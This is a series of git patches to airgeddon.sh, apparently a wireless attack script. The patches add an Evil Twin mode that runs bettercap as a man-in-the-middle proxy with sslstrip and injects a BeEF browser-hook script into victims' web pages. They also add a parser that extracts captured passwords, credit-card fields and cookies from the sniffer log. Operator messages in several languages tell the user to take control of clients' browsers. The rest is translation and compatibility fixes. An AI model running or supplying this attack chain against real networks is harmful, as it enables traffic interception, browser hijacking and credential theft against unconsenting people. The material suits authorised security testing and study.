\"${beef_port}\"" + echo -e " dns_host: \"localhost\"" + echo -e " dns_port: 53" + echo -e " web_ui_basepath: \"/ui\"" + echo -e " hook_file: \"/${jshookfile}\"" + echo -e " hook_session_name: \"BEEFHOOK\"" + echo -e " session_cookie_name: \"BEEFSESSION\"" + echo -e " web_server_imitation:" + echo -e " enable: true" + echo -e " type: \"apache\"" + echo -e " hook_404: false" + echo -e " hook_root: false" + echo -e " database:" + echo -e " driver: \"sqlite\"" + echo -e " db_file: \"${beef_db}\"" + echo -e " credentials:" + echo -e " user: \"beef\"" + echo -e " passwd: \"${beef_pass}\"" + echo -e " autorun:" + echo -e " enable: true" + echo -e " result_poll_interval: 300" + echo -e " result_poll_timeout: 5000" + echo -e " continue_after_timeout: true" + echo -e " dns_hostname_lookup: false" + echo -e " integration:" + echo -e " phishing_frenzy:" + echo -e " enable: false" + echo -e " extension:" + echo -e " requester:" + echo -e " enable: true" + echo -e " proxy:" + echo -e " enable: true" + echo -e " key: \"beef_key.pem\"" + echo -e " cert: \"beef_cert.pem\"" + echo -e " metasploit:" + echo -e " enable: false" + echo -e " social_engineering:" + echo -e " enable: true" + echo -e " evasion:" + echo -e " enable: false" + echo -e " console:" + echo -e " shell:" + echo -e " enable: false" + echo -e " ipec:" + echo -e " enable: true" + echo -e " dns:" + echo -e " enable: false" + echo -e " dns_rebinding:" + echo -e " enable: false" + } >> "${tmpdir}${beef_file}" +} + +#Kill beef process +function kill_beef() { + + killall "${optional_tools_names[19]}" > /dev/null 2>&1 + if [ "$?" != "0" ]; then + beef_pid=$(ps uax | pgrep -fi "${optional_tools_names[19]}") + kill "${beef_pid}" &> /dev/null + if [ "$?" != "0" ]; then + beef_pid=$(ps uax | pgrep -fi "beef") + kill "${beef_pid}" &> /dev/null + fi + fi +} + +#Prepare system to work with beef +function prepare_beef_start() { + + for item in "${possible_beef_known_locations[@]}"; do + if [ -f "${item}beef" ]; then + beef_path="${item}" + beef_found=1 + break + fi + done +} + +#Start beef process as a service +function start_beef_service() { + + service "${optional_tools_names[19]}" restart > /dev/null 2>&1 + if [ "$?" != "0" ]; then + systemctl restart "${optional_tools_names[19]}.service" > /dev/null 2>&1 + fi +} + +#Launch beef browser exploitation framework +function launch_beef() { + + kill_beef + + if [ "${beef_found}" -eq 0 ]; then + start_beef_service + fi + + recalculate_windows_sizes + if [ "${beef_found}" -eq 1 ]; then + rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 + cp "${tmpdir}${beef_file}" "${beef_path}" > /dev/null 2>&1 + xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "cd ${beef_path} && ./beef -c \"${beef_file}\"" > /dev/null 2>&1 & + else + xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "${optional_tools_names[19]}" > /dev/null 2>&1 & + fi + et_processes+=($!) + sleep 2 +} + +#Launch bettercap sniffer +function launch_bettercap_sniffing() { + + recalculate_windows_sizes + sniffing_scr_window_position=${g4_bottomright_window} + + bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} --disable-parsers URL,HTTPS,DHCP --no-http-logs --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}" + + if [ ${bettercap_log} -eq 1 ]; then + bettercap_cmd+=" -O \"${tmp_bettercaplog}\"" + fi + + xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer+Bettercap-Sslstrip2/BeEF" -e "${bettercap_cmd}" > /dev/null 2>&1 & + et_processes+=($!) +} + #Parse ettercap log searching for captured passwords function parse_ettercap_log() { @@ -7835,6 +8171,62 @@ function parse_ettercap_log() { language_strings "${language}" 115 "read" } +#Parse bettercap log searching for captured passwords +function parse_bettercap_log() { + + echo + language_strings "${language}" 304 "blue" + + local regexp='USER|PASS|CREDITCARD|COOKIE|PWD|USUARIO|CONTRASE' + local regexp2='USER-AGENT|COOKIES|BEEFHOOK' + readarray -t BETTERCAPLOG < <(cat < "${tmp_bettercaplog}" 2> /dev/null | egrep -i ${regexp} | egrep -vi ${regexp2}) + + { + echo "" + date +%Y-%m-%d + echo "${et_misc_texts[${language},8]}" + echo "" + echo "BSSID: ${bssid}" + echo "${et_misc_texts[${language},1]}: ${channel}" + echo "ESSID: ${essid}" + echo "" + echo "---------------" + echo "" + } >> "${tmpdir}parsed_file" + + pass_counter=0 + captured_cookies=() + for cpass in "${BETTERCAPLOG[@]}"; do + if [[ ${cpass} =~ COOKIE ]]; then + repeated_cookie=0 + for item in "${captured_cookies[@]}"; do + if [ "${item}" = "${cpass}" ]; then + repeated_cookie=1 + break + fi + done + if [ ${repeated_cookie} -eq 0 ]; then + captured_cookies+=("${cpass}") + echo "${cpass}" >> "${tmpdir}parsed_file" + pass_counter=$((pass_counter + 1)) + fi + else + echo "${cpass}" >> "${tmpdir}parsed_file" + pass_counter=$((pass_counter + 1)) + fi + done + + if [ ${pass_counter} -eq 0 ]; then + language_strings "${language}" 305 "yellow" + else + language_strings "${language}" 399 "blue" + cp "${tmpdir}parsed_file" "${bettercap_logpath}" > /dev/null 2>&1 + fi + + rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1 + language_strings "${language}" 115 "read" +} + #Write on a file the id of the captive portal Evil Twin attack processes function write_et_processes() { @@ -8203,6 +8595,10 @@ function validate_path() { suggested_filename="${default_ettercaplogfilename}" ettercap_logpath="${ettercap_logpath}${default_ettercaplogfilename}" ;; + "bettercaplog") + suggested_filename="${default_bettercaplogfilename}" + bettercap_logpath="${bettercap_logpath}${default_bettercaplogfilename}" + ;; "writeethandshake") et_handshake="${pathname}${standardhandshake_filename}" suggested_filename="${standardhandshake_filename}" @@ -8290,6 +8686,14 @@ function read_path() { fi validate_path "${ettercap_logpath}" "${1}" ;; + "bettercaplog") + language_strings "${language}" 398 "green" + read_and_clean_path "bettercap_logpath" + if [ -z "${bettercap_logpath}" ]; then + bettercap_logpath="${default_bettercap_logpath}" + fi + validate_path "${bettercap_logpath}" "${1}" + ;; "ethandshake") language_strings "${language}" 154 "green" read_and_clean_path "et_handshake" @@ -8829,6 +9233,9 @@ function et_prerequisites() { "et_sniffing_sslstrip") language_strings "${language}" 292 "title" ;; + "et_sniffing_sslstrip2") + language_strings "${language}" 397 "title" + ;; "et_captive_portal") language_strings "${language}" 293 "title" ;; @@ -8903,9 +9310,9 @@ function et_prerequisites() { if [[ "${et_mode}" = "et_sniffing" ]] || [[ "${et_mode}" = "et_sniffing_sslstrip" ]]; then manage_ettercap_log - fi - - if [ "${et_mode}" = "et_captive_portal" ]; then + elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then + manage_bettercap_log + elif [ "${et_mode}" = "et_captive_portal" ]; then manage_captive_portal_log language_strings "${language}" 115 "read" set_captive_portal_language @@ -8928,6 +9335,9 @@ function et_prerequisites() { "et_sniffing_sslstrip") exec_et_sniffing_sslstrip_attack ;; + "et_sniffing_sslstrip2") + exec_et_sniffing_sslstrip2_attack + ;; "et_captive_portal") exec_et_captive_portal_attack ;; @@ -9336,6 +9746,7 @@ function exit_script_option() { killall dhcpd > /dev/null 2>&1 killall hostapd > /dev/null 2>&1 killall lighttpd > /dev/null 2>&1 + kill_beef time_loop echo -e "${green_color} Ok\r${normal_color}" fi @@ -9369,6 +9780,7 @@ function hardcore_exit() { killall dhcpd > /dev/null 2>&1 killall hostapd > /dev/null 2>&1 killall lighttpd > /dev/null 2>&1 + kill_beef fi exit ${exit_code} @@ -9889,7 +10301,7 @@ function check_compatibility() { if ! hash "${i}" 2> /dev/null; then echo -ne "${red_color} Error${normal_color}" essential_toolsok=0 - echo -ne " (${possible_package_names[${language}]} : ${possible_package_names[${i}]})" + echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" echo -e "\r" else echo -e "${green_color} Ok\r${normal_color}" @@ -9906,7 +10318,7 @@ function check_compatibility() { if ! hash "${i}" 2> /dev/null; then echo -ne "${red_color} Error${normal_color}" optional_toolsok=0 - echo -ne " (${possible_package_names[${language}]} : ${possible_package_names[${i}]})" + echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" echo -e "\r" else echo -e "${green_color} Ok\r${normal_color}" @@ -9926,7 +10338,7 @@ function check_compatibility() { if ! hash "${i}" 2> /dev/null; then echo -ne "${red_color} Error${normal_color}" update_toolsok=0 - echo -ne " (${possible_package_names[${language}]} : ${possible_package_names[${i}]})" + echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" echo -e "\r" else echo -e "${green_color} Ok\r${normal_color}" @@ -10092,6 +10504,7 @@ function initialize_script_settings() { networkmanager_cmd="service network-manager restart" is_arm=0 pin_dbfile_checked=0 + beef_found=0 } #Detect screen resolution if possible @@ -10204,6 +10617,8 @@ function welcome() { fi detect_screen_resolution + set_possible_aliases + initialize_optional_tools_values if [ ${debug_mode} -eq 0 ]; then language_strings "${language}" 86 "title" @@ -10422,6 +10837,7 @@ function remove_warnings() { echo "${et_onlyap_dependencies[@]}" > /dev/null 2>&1 echo "${et_sniffing_dependencies[@]}" > /dev/null 2>&1 echo "${et_sniffing_sslstrip_dependencies[@]}" > /dev/null 2>&1 + echo "${et_sniffing_sslstrip2_dependencies[@]}" > /dev/null 2>&1 echo "${et_captive_portal_dependencies[@]}" > /dev/null 2>&1 echo "${wash_scan_dependencies[@]}" > /dev/null 2>&1 echo "${bully_attacks_dependencies[@]}" > /dev/null 2>&1 diff --git a/changelog.txt b/changelog.txt index 284d7986e..7f237a53b 100644 --- a/changelog.txt +++ b/changelog.txt @@ -1,3 +1,8 @@ +6.0 +New system for possible tool aliases checking the requirements +Evil Twin attack added: Bettercap-Sslstrip2 and BeEF browser exploitation framework +README.md beautified + 5.14 Timeout changed while searching for "bad FCS" to avoid problems in old systems WPS Reaver attacks modified to use --no-nacks (-N) argument From 6cf3ea603d6398c27d30fdda6100e7946d286b05 Mon Sep 17 00:00:00 2001 From: Sotiris Roussis Date: Wed, 11 Jan 2017 02:02:41 +0200 Subject: [PATCH 03/55] Updated Greek translations and added some possible BeEF locations --- airgeddon.sh | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index bc2bad2eb..b9fbaa37f 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -182,6 +182,8 @@ possible_dhcp_leases_files=( "/var/lib/dhcpd/dhcpd.leases" ) possible_beef_known_locations=( + "/usr/bin/beef" + "/usr/local/bin/beef" "/usr/share/beef/" "/usr/share/beef-xss/" "/opt/beef/" @@ -518,7 +520,7 @@ function language_strings() { et_misc_texts["CATALAN",27]="${pending_of_translation} Aquest atac té dues parts. Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya. També pots obrir el panell de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , fer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) i intentar controlar el navegador dels clients" et_misc_texts["PORTUGUESE",27]="${pending_of_translation} Este ataque tem duas partes. Com este ataque, fique atento na tela do sniffer para ver se aparece alguma senha. Você também pode abrir BeEF painel de controle no ${white_color}${beef_control_panel_url}${pink_color} , para login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e tentar controlar o navegador do clientes" et_misc_texts["RUSSIAN",27]="${pending_of_translation} Эта атака состоит из двух частей. С этой атакой смотрите на окно сниффера, чтобы следить за появлением пароля. Также можно открывать панель управления BeEF в ${white_color}${beef_control_panel_url}${pink_color} , войдите в систему (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" - et_misc_texts["GREEK",27]="${pending_of_translation} Αυτή η επίθεση έχει δύο μέρη. Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός πρόσβασης. Μπορείτε επίσης να ανοίξετε τον πίνακα ελέγχου του BeEF σε ${white_color}${beef_control_panel_url}${pink_color} , συνδεθείτε (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) και προσπαθούν να ελέγξουν το πρόγραμμα περιήγησης πελατών" + et_misc_texts["GREEK",27]="Αυτή η επίθεση έχει δύο μέρη. Παρακολουθήστε την οθόνη του sniffer για να δείτε εαν εμφανιστεί κάποιος κωδικός. Μπορείτε επίσης να ανοίξετε τον πίνακα ελέγχου του BeEF στο ${white_color}${beef_control_panel_url}${pink_color} , συνδεθείτε (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) και προσπαθείστε να ελέγξετε τον browser του χρήστη-πελάτη" declare -A arr arr["ENGLISH",0]="This interface ${interface} is already in managed mode" @@ -2975,7 +2977,7 @@ function language_strings() { arr["CATALAN",306]="El sniffer ha capturat contrasenyes. Fitxer desat a ${normal_color}[${ettercap_logpath}]" arr["PORTUGUESE",306]="O sniffer capturou senhas. I arquivo salvo no ${normal_color}[${ettercap_logpath}]" arr["RUSSIAN",306]="Сниффер захватил пароли. Файл сохранён в ${normal_color}[${ettercap_logpath}]" - arr["GREEK",306]="Καταγράφτηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο ${normal_color}[${ettercap_logpath}]" + arr["GREEK",306]="Καταγράφηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο ${normal_color}[${ettercap_logpath}]" arr["ENGLISH",307]="Language changed to Russian" arr["SPANISH",307]="Idioma cambiado a Ruso" @@ -3719,7 +3721,7 @@ function language_strings() { arr["CATALAN",399]="El sniffer ha capturat contrasenyes. Fitxer desat a ${normal_color}[${bettercap_logpath}]" arr["PORTUGUESE",399]="O sniffer capturou senhas. I arquivo salvo no ${normal_color}[${bettercap_logpath}]" arr["RUSSIAN",399]="Сниффер захватил пароли. Файл сохранён в ${normal_color}[${bettercap_logpath}]" - arr["GREEK",399]="Καταγράφτηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο ${normal_color}[${bettercap_logpath}]" + arr["GREEK",399]="Καταγράφηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο ${normal_color}[${bettercap_logpath}]" arr["ENGLISH",400]="On Evil Twin attack with BeEF integrated, in addition to obtaining keys using sniffing techniques, you can try to control the client's browser launching numerous attack vectors. The success of these will depend on many factors such as the kind of client's browser and its version" arr["SPANISH",400]="En el ataque Evil Twin con BeEF integrado, además de obtener claves con sniffing, podrás intentar controlar el navegador de los clientes lanzando numerosos vectores de ataque. El éxito de estos dependerá de muchos factores como el tipo de navegador y la versión que utilice el cliente" @@ -3727,7 +3729,7 @@ function language_strings() { arr["CATALAN",400]="${pending_of_translation} En l'atac Evil Twin amb Beef integrat, a més d'obtenir claus amb sniffing, podràs intentar controlar el navegador dels clients llançant nombrosos vectors d'atac. L'èxit d'aquests dependrà de molts factors com el tipus de navegador i la versió que utilitzi el client" arr["PORTUGUESE",400]="${pending_of_translation} No ataque Evil Twin com carne integrado, além de obter chaves com sniffing, você pode tentar controlar o navegador do cliente lançando inúmeros vetores de ataque. O sucesso destes dependerá de muitos fatores, tais como tipo de navegador e versão utilizada pelo cliente" arr["RUSSIAN",400]="${pending_of_translation} На Evil Twin нападения с BeEF интегрированным, в дополнение к получению ключей с помощью нюхают методы, вы можете попытаться контролировать браузер клиента запускать многочисленные направления атак. Успех этих будет зависеть от многих факторов, таких как вид браузера клиента и его версии" - arr["GREEK",400]="${pending_of_translation} Σε Evil Twin επίθεση με το BeEF ολοκληρωμένο, εκτός από την απόκτηση κλειδιά με τη χρήση sniffing τεχνικές, μπορείτε να προσπαθήσουν να ελέγξουν το πρόγραμμα περιήγησης του πελάτη δρομολόγηση πολλών φορέων επίθεση. Η επιτυχία αυτών των θα εξαρτηθεί από πολλούς παράγοντες, όπως το είδος του browser του πελάτη και την έκδοσή του" + arr["GREEK",400]="Στην επίθεση Evil Twin με ενσωματωμένο BeEF, εκτός από την απόκτηση κλειδιών με τη χρήση τεχνικών sniffing, μπορείτε να προσπαθήσετε να ελέγξετε τον browser του χρήστη-πελάτη κάνοντας χρήση κάποιων attack vectors. Η επιτυχία αυτών θα εξαρτηθεί από πολλούς παράγοντες όπως το είδος του browser του χρήστη-πελάτη και την έκδοσή του" case "${3}" in "yellow") From e44613e5882af5eb9ec2d64d8d99c01b22d877f1 Mon Sep 17 00:00:00 2001 From: Sotiris Roussis Date: Wed, 11 Jan 2017 02:07:18 +0200 Subject: [PATCH 04/55] Corrected tab indentation --- airgeddon.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index b9fbaa37f..d36f7ce64 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -182,11 +182,11 @@ possible_dhcp_leases_files=( "/var/lib/dhcpd/dhcpd.leases" ) possible_beef_known_locations=( - "/usr/bin/beef" - "/usr/local/bin/beef" "/usr/share/beef/" "/usr/share/beef-xss/" "/opt/beef/" + "/usr/bin/beef/" + "/usr/local/bin/beef/" ) #Distros vars From ab0fa10df226f5b72d80e362e9ae644ecc792cd0 Mon Sep 17 00:00:00 2001 From: Mi-Al Date: Wed, 11 Jan 2017 10:07:15 +0300 Subject: [PATCH 05/55] Updating Russian translation --- airgeddon.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index d36f7ce64..514b33756 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -519,7 +519,7 @@ function language_strings() { et_misc_texts["FRENCH",27]="${pending_of_translation} Cette attaque comporte deux parties. Vérifiez pendant l'attaque dans la console du sniffeur si un mot de passe a été capturé. Vous pouvez également ouvrir le BeEF du panneau de commande dans ${white_color}${beef_control_panel_url}${pink_color} , pour vous connecter (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) et essayer de contrôler le navigateur client" et_misc_texts["CATALAN",27]="${pending_of_translation} Aquest atac té dues parts. Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya. També pots obrir el panell de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , fer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) i intentar controlar el navegador dels clients" et_misc_texts["PORTUGUESE",27]="${pending_of_translation} Este ataque tem duas partes. Com este ataque, fique atento na tela do sniffer para ver se aparece alguma senha. Você também pode abrir BeEF painel de controle no ${white_color}${beef_control_panel_url}${pink_color} , para login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e tentar controlar o navegador do clientes" - et_misc_texts["RUSSIAN",27]="${pending_of_translation} Эта атака состоит из двух частей. С этой атакой смотрите на окно сниффера, чтобы следить за появлением пароля. Также можно открывать панель управления BeEF в ${white_color}${beef_control_panel_url}${pink_color} , войдите в систему (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" + et_misc_texts["RUSSIAN",27]="Эта атака идёт по двум направлениям. Вы можете наблюдать за окном сниффера, чтобы отследить появление пароля. Также можете перейти в панель управления BeEF ${white_color}${beef_control_panel_url}${pink_color} , учётные данные для входа (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" et_misc_texts["GREEK",27]="Αυτή η επίθεση έχει δύο μέρη. Παρακολουθήστε την οθόνη του sniffer για να δείτε εαν εμφανιστεί κάποιος κωδικός. Μπορείτε επίσης να ανοίξετε τον πίνακα ελέγχου του BeEF στο ${white_color}${beef_control_panel_url}${pink_color} , συνδεθείτε (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) και προσπαθείστε να ελέγξετε τον browser του χρήστη-πελάτη" declare -A arr @@ -3728,7 +3728,7 @@ function language_strings() { arr["FRENCH",400]="${pending_of_translation} Dans l'attaque Evil Twin avec BeEF intégré, plus obtenir les clés avec reniflant, vous pouvez essayer de contrôler le navigateur du client lançant de nombreux vecteurs d'attaque. Le succès de ces dépendent de nombreux facteurs tels que le type et version du navigateur utilisé par le client" arr["CATALAN",400]="${pending_of_translation} En l'atac Evil Twin amb Beef integrat, a més d'obtenir claus amb sniffing, podràs intentar controlar el navegador dels clients llançant nombrosos vectors d'atac. L'èxit d'aquests dependrà de molts factors com el tipus de navegador i la versió que utilitzi el client" arr["PORTUGUESE",400]="${pending_of_translation} No ataque Evil Twin com carne integrado, além de obter chaves com sniffing, você pode tentar controlar o navegador do cliente lançando inúmeros vetores de ataque. O sucesso destes dependerá de muitos fatores, tais como tipo de navegador e versão utilizada pelo cliente" - arr["RUSSIAN",400]="${pending_of_translation} На Evil Twin нападения с BeEF интегрированным, в дополнение к получению ключей с помощью нюхают методы, вы можете попытаться контролировать браузер клиента запускать многочисленные направления атак. Успех этих будет зависеть от многих факторов, таких как вид браузера клиента и его версии" + arr["RUSSIAN",400]="С атакой Злой Двойник в дополнении к получению паролей, применяя техники сниффинга, вы можете попробовать контролировать клиентский браузер, запуская атаки по ряду векторов. Их успех зависит от многих факторов, в том числе от типа и версии клиентского браузера" arr["GREEK",400]="Στην επίθεση Evil Twin με ενσωματωμένο BeEF, εκτός από την απόκτηση κλειδιών με τη χρήση τεχνικών sniffing, μπορείτε να προσπαθήσετε να ελέγξετε τον browser του χρήστη-πελάτη κάνοντας χρήση κάποιων attack vectors. Η επιτυχία αυτών θα εξαρτηθεί από πολλούς παράγοντες όπως το είδος του browser του χρήστη-πελάτη και την έκδοσή του" case "${3}" in From 79d65d4885eda57b3bae3b11dd6574f81abac263 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 11 Jan 2017 10:32:47 +0100 Subject: [PATCH 06/55] Fix disable-parsers error in old bettercap versions. --- airgeddon.sh | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 1be83a424..f7e2c5ccc 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -155,6 +155,7 @@ internet_dns2="8.8.4.4" sslstrip_port="10000" bettercap_proxy_port="8080" bettercap_dns_port="5300" +minimum_bettercap_disable_parsers_version="1.5.9" sslstrip_file="ag.sslstrip.log" ettercap_file="ag.ettercap.log" bettercap_file="ag.bettercap.log" @@ -5715,6 +5716,7 @@ function evil_twin_attacks_menu() { check_interface_wifi if [ "$?" = "0" ]; then et_mode="et_sniffing_sslstrip2" + get_bettercap_version et_dos_menu else echo @@ -8125,7 +8127,11 @@ function launch_bettercap_sniffing() { recalculate_windows_sizes sniffing_scr_window_position=${g4_bottomright_window} - bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} --disable-parsers URL,HTTPS,DHCP --no-http-logs --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}" + if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_disable_parsers_version}"; then + bettercap_disable_parsers="--disable-parsers URL,HTTPS,DHCP " + fi + + bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_disable_parsers}--no-http-logs --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}" if [ ${bettercap_log} -eq 1 ]; then bettercap_cmd+=" -O \"${tmp_bettercaplog}\"" @@ -9836,6 +9842,12 @@ function get_hashcat_version() { hashcat_version=${hashcat_version#"v"} } +#Determine bettercap version +function get_bettercap_version() { + + bettercap_version=$(bettercap -v 2> /dev/null | egrep "^bettercap [0-9]" | awk '{print $2}') +} + #Determine bully version function get_bully_version() { From b443a9a90baeeb2b67323a8b1d3f7fd5d0760ce4 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 12 Jan 2017 16:18:21 +0100 Subject: [PATCH 07/55] Modified possible beef known locations --- airgeddon.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index f7e2c5ccc..198058d6d 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -186,8 +186,7 @@ possible_beef_known_locations=( "/usr/share/beef/" "/usr/share/beef-xss/" "/opt/beef/" - "/usr/bin/beef/" - "/usr/local/bin/beef/" + "/usr/local/bin/" ) #Distros vars From c36d73f251c81b203d10a51412e45bc21ccd6043 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 12 Jan 2017 16:19:53 +0100 Subject: [PATCH 08/55] Removed -i parameter from pgrep to avoid errors in old pgrep versions like Raspbian 8 --- airgeddon.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 198058d6d..a679fab38 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8069,10 +8069,10 @@ function kill_beef() { killall "${optional_tools_names[19]}" > /dev/null 2>&1 if [ "$?" != "0" ]; then - beef_pid=$(ps uax | pgrep -fi "${optional_tools_names[19]}") + beef_pid=$(ps uax | pgrep -f "${optional_tools_names[19]}") kill "${beef_pid}" &> /dev/null if [ "$?" != "0" ]; then - beef_pid=$(ps uax | pgrep -fi "beef") + beef_pid=$(ps uax | pgrep -f "beef") kill "${beef_pid}" &> /dev/null fi fi From 2eebd5e75e27b016f529bd98ef2c426ddfaaf0b7 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 13 Jan 2017 10:57:05 +0100 Subject: [PATCH 09/55] Fix to avoid the problem of having installed Beef (lexible Brainfuck interpreter) instead of BeEF (Browser Exploitation Framework) --- airgeddon.sh | 46 +++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 43 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index a679fab38..69bb2c850 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -165,6 +165,7 @@ jshookfile="hook.js" beef_file="ag.beef.conf" beef_pass="airgeddon" beef_db="beef.db" +beef_installation_url="https://github.com/beefproject/beef/wiki/Installation" hostapd_file="ag.hostapd.conf" control_file="ag.control.sh" webserver_file="ag.lighttpd.conf" @@ -3731,6 +3732,14 @@ function language_strings() { arr["RUSSIAN",400]="С атакой Злой Двойник в дополнении к получению паролей, применяя техники сниффинга, вы можете попробовать контролировать клиентский браузер, запуская атаки по ряду векторов. Их успех зависит от многих факторов, в том числе от типа и версии клиентского браузера" arr["GREEK",400]="Στην επίθεση Evil Twin με ενσωματωμένο BeEF, εκτός από την απόκτηση κλειδιών με τη χρήση τεχνικών sniffing, μπορείτε να προσπαθήσετε να ελέγξετε τον browser του χρήστη-πελάτη κάνοντας χρήση κάποιων attack vectors. Η επιτυχία αυτών θα εξαρτηθεί από πολλούς παράγοντες όπως το είδος του browser του χρήστη-πελάτη και την έκδοσή του" + arr["ENGLISH",401]="The beef package you have installed is not BeEF (Browser Exploitation Framework). You have Beef (Flexible Brainfuck interpreter) installed. Both executables have the same name and can lead to confusion. Uninstall it and install what airgeddon needs if you want to use that feature. Installation guide: ${beef_installation_url}" + arr["SPANISH",401]="El paquete beef que tienes instalado no es BeEF (Browser Exploitation Framework). Tienes instalado Beef (Flexible Brainfuck interpreter). Ambos ejecutables se llaman igual y puede dar lugar a confusión. Desinstálalo e instala el que airgeddon necesita si quieres usar esa característica. Guía de instalación: ${beef_installation_url}" + arr["FRENCH",401]="${pending_of_translation} Le paquet de beef que vous avez installé est pas BeEF (Browser Exploitation Framework). Vous avez installé Beef (Flexible Brainfuck interpreter). Les deux même nom exécutable et peut conduire à la confusion. Désinstallez et installez airgeddon besoin si vous souhaitez utiliser cette fonctionnalité. Guide d'installation: ${beef_installation_url}" + arr["CATALAN",401]="${pending_of_translation} El paquet beef que tens instal·lat no és BeEF (Browser Exploitation Framework). Tens instal·lat Beef (Flexible Brainfuck interpreter). Tots dos executables es diuen igual i pot donar lloc a confusió. Desinstalalo i instal·la el que airgeddon necessita si vols utilitzar aquesta característica. Guia d'instal·lació: ${beef_installation_url}" + arr["PORTUGUESE",401]="${pending_of_translation} O beef de ter instalado não é BeEF (Browser Exploitation Framework). Você instalou Beef (Flexible Brainfuck interpreter). Ambos mesmo nome executável e pode levar a confusão. Desinstalá-lo e instalá-lo airgeddon precisa se você quiser usar esse recurso. Guia de Instalação: ${beef_installation_url}" + arr["RUSSIAN",401]="${pending_of_translation} Пакет beef вы установили не BeEF (Browser Exploitation Framework). У вас есть Beef (Flexible Brainfuck interpreter) установлен. Оба исполняемые файлы имеют одинаковое имя и может привести к путанице. Удалите его и установить, что airgeddon потребности, если вы хотите использовать эту функцию. Инструкция по установке: ${beef_installation_url}" + arr["GREEK",401]="${pending_of_translation} Το πακέτο beef που έχετε εγκαταστήσει δεν είναι το BeEF (Browser Exploitation Framework). Έχετε Beef (Flexible Brainfuck interpreter) εγκατεστημένο. Και οι δύο εκτελέσιμα έχουν το ίδιο όνομα και μπορεί να οδηγήσει σε σύγχυση. Απεγκαταστήσετε και να εγκαταστήσετε αυτό airgeddon ανάγκες, αν θέλετε να χρησιμοποιήσετε αυτό το χαρακτηριστικό. Οδηγός εγκατάστασης: ${beef_installation_url}" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" @@ -5320,7 +5329,7 @@ function initialize_menu_options_dependencies() { function set_possible_aliases() { for item in "${!possible_alias_names[@]}"; do - if ! hash "${item}" 2> /dev/null; then + if ! hash "${item}" 2> /dev/null || [[ "${item}" = "beef" ]]; then 